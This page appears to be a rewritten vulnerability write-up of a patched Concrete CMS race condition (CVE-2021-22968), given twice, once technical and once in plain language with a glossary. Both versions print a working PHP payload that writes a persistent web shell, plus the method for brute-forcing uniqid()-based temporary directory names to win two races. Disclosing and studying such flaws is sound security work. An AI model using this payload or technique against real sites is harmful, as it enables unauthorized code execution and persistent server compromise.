Skip to content
Race condition Write-up Advanced

Multiple Concrete CMS Vulnerabilities ( Part1 – RCE )

A race condition in Concrete CMS's remote file upload allowed a low-privileged user to upload a PHP file that was validated only after being saved locally, and by predicting the temporary directory name and keeping the file alive with a sleep, an attacker could execute it to write a permanent shell and achieve remote code execution.

FORTBRIDGE Follow

Published on fortbridge.co.uk

Concrete CMS is designed for ease of use, for users with a minimum of technical skills. It enables users to edit site content directly from the page.

Adrian Tiron, on fortbridge.co.uk

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Concrete CMS is a content management system aimed at users with a minimum of technical skills: it lets users edit site content directly from the page, keeps version management for every page in the manner of wiki software, and offers an embedded image editor. As of 2021 there were over 62,000 live websites running it.

One of its features lets a limited user upload files from remote servers. The user supplies a URL, and the CMS uses curl to download the file and write it locally, or to a bucket in AWS S3. That curl download has a timeout of 60 seconds, a detail that matters later.

Downloading a remote file introduces a race condition in Concrete CMS
Downloading a remote file introduces a race condition in Concrete CMS From the original on fortbridge.co.uk

The download of a remote file is where the race condition lives.

Setup

The only precondition stated is a low privileged account: you need a low privileged user to exploit the vulnerability and gain RCE in Concrete CMS. The researcher used Turbo Intruder for the brute force, and the upload request was kept in a request.txt file. The tips section notes that the upload request must come from a single IP by default, and that you should check the upload request in request.txt is still a valid session.

Finding it

Downloading from a remote URL naturally raises the SSRF question, which the researcher defers to the second part of the series, where the SSRF mitigations and their bypass are covered. For this part the interesting behaviour is filename validation. If you try to download PHP files, the CMS rejects them:

Validations applied on the downloaded file
Validations applied on the downloaded file From the original on fortbridge.co.uk

The validations looked pretty good. But tracing the code showed the flaw: Concrete CMS does good validations, but AFTER it saves the file locally, not before. That creates a race condition between the moment the file is written locally and the moment it is deleted because the validations failed. This is the first of two race conditions in the file upload.

Looking at the code that performs the download and the local write:

Downloading a remote file and saving it locally
Downloading a remote file and saving it locally From the original on fortbridge.co.uk

The file is written into $temporaryDirectory. That value comes from the VolatileDirectory class, which creates a temporary directory in its constructor and deletes it in its destructor.

Random directory name generation
Random directory name generation From the original on fortbridge.co.uk

The directory name is pseudo-random. The $i argument is always 0 in practice, so the name depends entirely on uniqid(). After the download and the post-download processing, the VolatileDirectory destructor deletes everything:

The Volatile Dir gets deleted - first race condition
The Volatile Dir gets deleted From the original on fortbridge.co.uk

How uniqid() behaves

Checking the PHP source for uniqid():

Uniqid source code in PHP core
Uniqid source code in PHP core From the original on fortbridge.co.uk

It simply calls gettimeofday(), which returns seconds and microseconds. There is no $more_entropy, so the whole return value is based on seconds and microseconds. Those are highly predictable and can be brute forced, provided there is enough time: in the initial tests a request took about 100ms to execute.

Exploitation

Step 1: plan around the timing

To guess the random directory name you need to guess the second and the microsecond the server will use. The second is easy: sync your host's time with the server time based on the response headers, and place the attack server in the same time zone or AWS region, as close as possible to the target. The microsecond is the hard part, because a request takes about 100ms to execute, far longer than the window you would otherwise have. There are 1M possible directory names, one per microsecond.

The trick is to stretch the request's execution time. The researcher put a sleep() of 30 to 60 seconds in the test.php file, which forces the CMS to keep $temporaryDir on the local filesystem for 30 to 60 seconds before deleting it. That is enough time to brute force the directory name with Turbo Intruder. When the existing directory is found, the response is a 200 HTTP status code.

The test.php used is below. It echoes another PHP file, and the echoed PHP code writes a PHP shell in the parent directory:

PHP
<?php
set_time_limit(0);
sleep(35);
echo '<?php file_put_contents("../shell.php","<?php system(\$_GET[c]) ;");';
echo '?>' . str_repeat("A",50000000);
flush();
ob_flush();
?>

Step 2: the timeline of the two races

The diagram below lays out the relevant moments of the attack.

Exploiting a double race condition in the file upload of Concrete CMS
Timing of the relevant race conditions From the original on fortbridge.co.uk
  1. T0: you start the upload request and, at the same time, start searching for the volatile directory name. There are 1M possibilities; the researcher managed 16 to 17K requests per second, so 500 to 700K can be covered in about 30 seconds, a 50% chance, which works well. They did not queue 1M requests because of issues with Turbo Intruder.
  2. T1: you discover the volatile directory name, winning the first race, but test.php is not there yet. You must start searching for test.php, the second race condition, which will always be written after about 30 seconds from T0. Another 500K requests are queued in Turbo Intruder for this.
  3. T2 (around the 30th second): test.php is written locally, inside the volatile directory.
  4. T3: one of the queued requests from T1 executes test.php, which writes a permanent shell in the parent directory, /application/files/tmp.
  5. T4: both the volatile directory and the test.php inside it are deleted, but the shell is already in place.

Step 3: win the first race

After guessing the directory name, request test.php inside it. The screenshot from Turbo Intruder shows the guessed directory name:

RCE in Concrete CMS - finding the directory name (winning the first race condition)
Winning the first race and finding the directory name From the original on fortbridge.co.uk

Step 4: win the second race

Making test.php execute for about 30 seconds in order to guess the directory name creates a second race condition. It is not known exactly when test.php will be written to the CMS filesystem, but it will be after it has finished its own execution on the remote server, that is sleep time plus a few more milliseconds. In practice, if the directory name is guessed in the 10th second, another 500K to 1M requests must be queued in Turbo Intruder, covering the whole interval until test.php reaches the filesystem. Worst case, that means sending enough requests for another 30 seconds.

RCE in Concrete CMS - finding the saved file (winning the second race condition)
RCE in Concrete CMS - finding the saved file (winning the second race condition) From the original on fortbridge.co.uk

The screenshot shows requests being sent to test.php until it executes. This is the temporary shell, and it writes a permanent shell in the parent directory.

Step 5: the shell

With both races won, the shell gives RCE and persistence:

RCE in Concrete CMS - permanent shell written
RCE in Concrete CMS From the original on fortbridge.co.uk

Root cause

The mistake is ordering: the CMS validates the downloaded file after writing it to disk, not before. Between the write and the deletion triggered by the failed validation, the file exists on the filesystem and is reachable if you know its path. The path is pseudo-random, but it is derived from uniqid(), which is built only from gettimeofday() seconds and microseconds with no extra entropy, so it is predictable and can be brute forced given enough time. The VolatileDirectory destructor does clean up, but only after the download and post-download processing complete. The validations themselves were not the weakness; their placement was.

Impact

A low privileged user can turn the remote file upload into remote code execution on the Concrete CMS instance, and the shell written to the parent directory gives persistence. The attack requires winning two timing races and sending a large volume of requests, and the upload request must come from a single IP by default.

Fix

The vendor was notified on 30/10/2021 and a patch was released on 08/11/2021 in versions 8.5.7 and 9.0.1, tracked as CVE-2021-22968. The write-up was published on 15/11/2021.

Variants to test

  • Any feature that downloads a remote file and validates it afterwards: try a PHP payload and watch for a window where the file exists on disk before deletion.
  • Temporary names built from uniqid() or similar time-based generators: sync your clock to the server via response headers and brute force the microsecond range. A positive result is a 200 for a guessed directory.
  • Features where you control how long the remote server takes to respond: hold the response open with a sleep to extend the lifetime of the temporary file.
  • Upload endpoints that write to a predictable parent directory: check whether an executed temporary file can write into a location that is served or executed.

Tips from the researcher

  • The curl timeout is 60s, so do not sleep() more than 60s in test.php.
  • Use HTTP/2 if possible, for speed; it is easier to win the race conditions.
  • Use tail -f access_log and tail -f error_log to monitor requests and errors.
  • Check that the upload request from request.txt is still a valid session.
  • The upload request must come from a single IP by default.

A proof of concept is available at the researcher's repository, and the Turbo Intruder issue encountered during the work was fixed by @albinowax.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Concrete CMS is a piece of software that lets people build and edit websites without writing code. You log in to a web page, click on text or images, and change them directly. It keeps a history of every change, a bit like a wiki, and it has a built-in image editor. In 2021 more than 62,000 live websites were running it.

One of its features lets even a user with very limited permissions upload a file from somewhere else on the internet. You paste in a web address (a URL), and Concrete CMS fetches that file for you and stores it on its own server, or in an Amazon S3 storage bucket. The fetching is done with a small program called curl, and that fetch is allowed to take at most 60 seconds before it gives up. Remember that 60 seconds; it becomes important later.

The researcher found that this feature has a timing flaw. The CMS checks whether the downloaded file is safe only after it has already saved it to disk. For a brief moment the file sits on the server, and if you can guess exactly where it is, you can ask the server to run it. Running your own code on someone else's server is called remote code execution, or RCE. The whole attack needs only a low privileged account, meaning an account with as few rights as possible, not an administrator.

Downloading a remote file introduces a race condition in Concrete CMS
Downloading a remote file introduces a race condition in Concrete CMS From the original on fortbridge.co.uk

The vulnerability: a race condition in the file upload

A race condition is a bug that appears when two things happen at almost the same time and the software assumes one will always finish before the other. Think of a shop that puts a returned item back on the shelf for a moment before the manager checks whether it is allowed; if you grab it during that moment, you have it. Here the CMS writes the file to disk, then checks it, then deletes it if the check fails. The gap between writing and deleting is the race.

As a limited user you can upload files from remote servers. You enter the URL, and the CMS uses curl to download it and write it locally, or to a bucket in AWS S3. This curl has a timeout of 60 seconds, which becomes relevant later.

Some readers will immediately think of SSRF, which stands for server-side request forgery: tricking a server into making requests on your behalf, for example to internal machines you cannot reach yourself. That topic is covered in the second part of the series, along with how the SSRF protections were bypassed. For this part, the interesting behaviour is the validation of the filename. If you try to download PHP files, the CMS refuses:

Validations applied on the downloaded file
Validations applied on the downloaded file From the original on fortbridge.co.uk

PHP is the programming language most websites are written in, and a .php file is a set of instructions the web server will execute when someone asks for it. So the CMS checks the file. The validations looked pretty good. But when the researcher traced the code, the flaw appeared: Concrete CMS does good validations, but AFTER it saves the file locally, not before. That creates a race condition between the moment the file is written locally and the moment it is deleted because the validations failed. This is the first of two race conditions in the file upload.

Let us look at the code that performs the download and the local write:

Downloading a remote file and saving it locally
Downloading a remote file and saving it locally From the original on fortbridge.co.uk

The code writes the downloaded file into a variable called $temporaryDirectory. A variable is just a named box that holds a value; here the box holds the path of a folder. That value comes from a class called VolatileDirectory. A class is a reusable piece of code that bundles data and actions together. This class creates a temporary directory when it is constructed (created) and deletes it when it is destructed (destroyed).

Random directory name generation
Random directory name generation From the original on fortbridge.co.uk

The directory name is pseudo-random, meaning it looks random but is produced by a formula. The $i argument is always 0 in practice, so the name depends entirely on a PHP function called uniqid(). After the download and the post-download processing, the VolatileDirectory destructor deletes everything:

The Volatile Dir gets deleted - first race condition
The Volatile Dir gets deleted From the original on fortbridge.co.uk

So the file lives in a folder with a hard-to-guess name, and the folder is removed once processing finishes. If we can guess the folder name and ask for the file before it is removed, we win.

How uniqid() behaves

To see how the name is produced, the researcher checked the PHP source code for uniqid():

Uniqid source code in PHP core
Uniqid source code in PHP core From the original on fortbridge.co.uk

It simply calls gettimeofday(), which returns the current time as seconds and microseconds. A microsecond is one millionth of a second. There is no $more_entropy, meaning no extra randomness is mixed in, so the whole return value is based on seconds and microseconds. Those are highly predictable: if you know roughly what time it is on the server, you can work out the name. The only problem is time: in the initial tests a request took about 100ms to execute, and 100ms is 100,000 microseconds, far too many possibilities to try in one request.

We need a plan

To guess the random directory name you need to guess the second and the microsecond the server will use. The second is easy: sync your own computer's clock with the server's clock, using the time information in the server's response headers. Headers are the small lines of information a web server sends alongside a page, such as the date. You can also place your attack server in the same time zone or AWS region, as close as possible to the target, so the clocks agree. The microsecond is the hard part, because a request takes about 100ms to execute, much longer than the window you would otherwise have. There are 1M possible directory names, one for each microsecond in a second.

The trick is to stretch the request's execution time. The researcher put a sleep() of 30 to 60 seconds in the test.php file. sleep() is a PHP instruction that makes the script pause. This forces the CMS to keep $temporaryDir on the local filesystem for 30 to 60 seconds before deleting it, which is enough time to brute force the directory name with Turbo Intruder. Brute force means trying every possibility one after another. Turbo Intruder is an extension for the Burp Suite security testing tool that sends very large numbers of requests very quickly. When the existing directory is found, the response is a 200 HTTP status code. HTTP status codes are the short numbers a server returns: 200 means OK, 404 means not found.

The test.php used is below. It echoes another PHP file, and the echoed PHP code writes a PHP shell in the parent directory:

PHP
<?php
set_time_limit(0);
sleep(35);
echo '<?php file_put_contents("../shell.php","<?php system(\$_GET[c]) ;");';
echo '?>' . str_repeat("A",50000000);
flush();
ob_flush();
?>

Line by line:

  1. <?php opens the PHP code block, and the final ?> closes it.
  2. set_time_limit(0); removes the limit on how long PHP is allowed to run, so the script will not be killed early.
  3. sleep(35); pauses the script for 35 seconds. This is what keeps the temporary folder alive.
  4. The first echo prints the text of another PHP script. That printed script, when later saved and run, uses file_put_contents to create a file called shell.php one folder up (../). The content of that file is <?php system($_GET[c]) ;, which runs whatever command is passed in the URL parameter c. A shell is a small script that lets an attacker run commands on the server.
  5. The second echo prints ?> followed by 50,000,000 letter A characters, produced by str_repeat. This padding keeps the response large and flowing.
  6. flush(); and ob_flush(); push the output out to the browser immediately instead of buffering it.

Here is a diagram of all the relevant moments of the attack, which should make things a bit clearer.

Exploiting a double race condition in the file upload of Concrete CMS
Timing of the relevant race conditions From the original on fortbridge.co.uk
  1. T0: you start the upload request and, at the same time, start searching for the volatile directory name. There are 1M possibilities; the researcher managed 16 to 17K requests per second, so 500 to 700K can be covered in about 30 seconds, a 50% chance, which works well. They did not queue 1M requests because of issues with Turbo Intruder.
  2. T1: you discover the volatile directory name, winning the first race, but test.php is not there yet. You must start searching for test.php, the second race condition, which will always be written after about 30 seconds from T0. Another 500K requests are queued in Turbo Intruder for this.
  3. T2 (around the 30th second): test.php is written locally, inside the volatile directory.
  4. T3: one of the queued requests from T1 executes test.php, which writes a permanent shell in the parent directory, /application/files/tmp.
  5. T4: both the volatile directory and the test.php inside it are deleted, but the shell is already in place.

After guessing the directory name, request test.php inside it. The screenshot from Turbo Intruder shows the guessed directory name:

RCE in Concrete CMS - finding the directory name (winning the first race condition)
Winning the first race and finding the directory name From the original on fortbridge.co.uk

The second race condition in the file upload

Making test.php execute for about 30 seconds in order to guess the directory name creates a second race condition. We do not know exactly when test.php will be written to the CMS filesystem, but it will be after it has finished its own execution on the remote server, that is the sleep time plus a few more milliseconds. In practice, if the directory name is guessed in the 10th second, another 500K to 1M requests must be queued in Turbo Intruder, covering the whole interval until test.php reaches the filesystem. Worst case, that means sending enough requests for another 30 seconds.

RCE in Concrete CMS - finding the saved file (winning the second race condition)
RCE in Concrete CMS - finding the saved file (winning the second race condition) From the original on fortbridge.co.uk

The screenshot shows requests being sent to test.php until it executes. This is the temporary shell, and it writes a permanent shell in the parent directory.

RCE in Concrete CMS

With both races won, the shell gives RCE and persistence. Persistence means the access survives after the temporary files are cleaned up, so you do not have to repeat the whole attack.

RCE in Concrete CMS - permanent shell written
RCE in Concrete CMS From the original on fortbridge.co.uk

Root cause

The mistake is ordering: the CMS validates the downloaded file after writing it to disk, not before. Between the write and the deletion triggered by the failed validation, the file exists on the filesystem and is reachable if you know its path. The path is pseudo-random, but it is derived from uniqid(), which is built only from gettimeofday() seconds and microseconds with no extra entropy, so it is predictable and can be brute forced given enough time. The VolatileDirectory destructor does clean up, but only after the download and post-download processing complete. The validations themselves were not the weakness; their placement was.

Impact

A low privileged user can turn the remote file upload into remote code execution on the Concrete CMS instance, and the shell written to the parent directory gives persistence. The attack requires winning two timing races and sending a large volume of requests, and the upload request must come from a single IP by default.

Fix

The vendor was notified on 30/10/2021 and a patch was released on 08/11/2021 in versions 8.5.7 and 9.0.1, tracked as CVE-2021-22968. A CVE is a public identifier for a known security flaw. The write-up was published on 15/11/2021.

Variants to test

  • Any feature that downloads a remote file and validates it afterwards: try a PHP payload and watch for a window where the file exists on disk before deletion.
  • Temporary names built from uniqid() or similar time-based generators: sync your clock to the server via response headers and brute force the microsecond range. A positive result is a 200 for a guessed directory.
  • Features where you control how long the remote server takes to respond: hold the response open with a sleep to extend the lifetime of the temporary file.
  • Upload endpoints that write to a predictable parent directory: check whether an executed temporary file can write into a location that is served or executed.

Tips from the researcher

  • The curl timeout is 60s, so do not sleep() more than 60s in test.php.
  • Use HTTP/2 if possible, for speed; it is easier to win the race conditions. HTTP/2 is a newer version of the protocol browsers and servers use to talk to each other, and it handles many requests at once more efficiently.
  • Use tail -f access_log and tail -f error_log to monitor requests and errors. tail -f shows a log file live as new lines are added.
  • Check that the upload request from request.txt is still a valid session. A session is the server's memory of you being logged in, usually carried in a cookie, which is a small piece of data your browser stores for a site.
  • The upload request must come from a single IP by default.

A proof of concept is available at the researcher's repository, and the Turbo Intruder issue encountered during the work was fixed by @albinowax.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of allowed requests.
  • AWS S3: Amazon's cloud file storage service, where files can be kept instead of on the web server itself.
  • Brute force: trying every possible value, one after another, until the right one is found.
  • Class: a reusable block of code that bundles data and actions together.
  • Concrete CMS: a content management system for building and editing websites without coding.
  • Constructor / destructor: code that runs automatically when an object is created (constructor) or destroyed (destructor).
  • Cookie: a small piece of data a website stores in your browser, often used to remember that you are logged in.
  • CVE: a public identifier assigned to a known security vulnerability.
  • curl: a program that fetches files or pages from a URL.
  • Echo: a PHP instruction that prints text into the response.
  • Entropy: randomness. More entropy means less predictable.
  • gettimeofday(): a system call that returns the current time in seconds and microseconds.
  • Header: a line of information a web server sends with a response, such as the date or content type.
  • HTTP status code: the number a server returns with a response, such as 200 (OK) or 404 (not found).
  • HTTP/2: a newer version of the web protocol that handles many requests at once more efficiently.
  • Microsecond: one millionth of a second.
  • Persistence: access that survives cleanup or a restart, so the attacker does not have to repeat the attack.
  • PHP: the programming language most websites are written in; .php files are executed by the web server.
  • Proof of concept (POC): a working demonstration that a vulnerability can actually be exploited.
  • Race condition: a bug caused by two actions happening at almost the same time, where the software assumes one finishes before the other.
  • RCE (remote code execution): making someone else's server run code you supplied.
  • Response header: see header.
  • Session: the server's memory of you being logged in, usually carried by a cookie.
  • Shell: a small script that lets an attacker run commands on a server.
  • sleep(): a PHP instruction that pauses the script for a number of seconds.
  • SSRF (server-side request forgery): tricking a server into making requests on your behalf, for example to internal systems you cannot reach.
  • tail -f: a command that shows a log file live as new lines are written.
  • Turbo Intruder: an extension for Burp Suite that sends very large numbers of HTTP requests very quickly.
  • uniqid(): a PHP function that produces an identifier based on the current time in seconds and microseconds.
  • URL: a web address, such as the address of a file to download.
  • Variable: a named box in a program that holds a value.
  • VolatileDirectory: the Concrete CMS class that creates a temporary folder and deletes it when it is destroyed.
  • 200: the HTTP status code meaning the request succeeded.

More by FORTBRIDGE

View all

1 more disclosed report, best first.

More from Concrete CMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.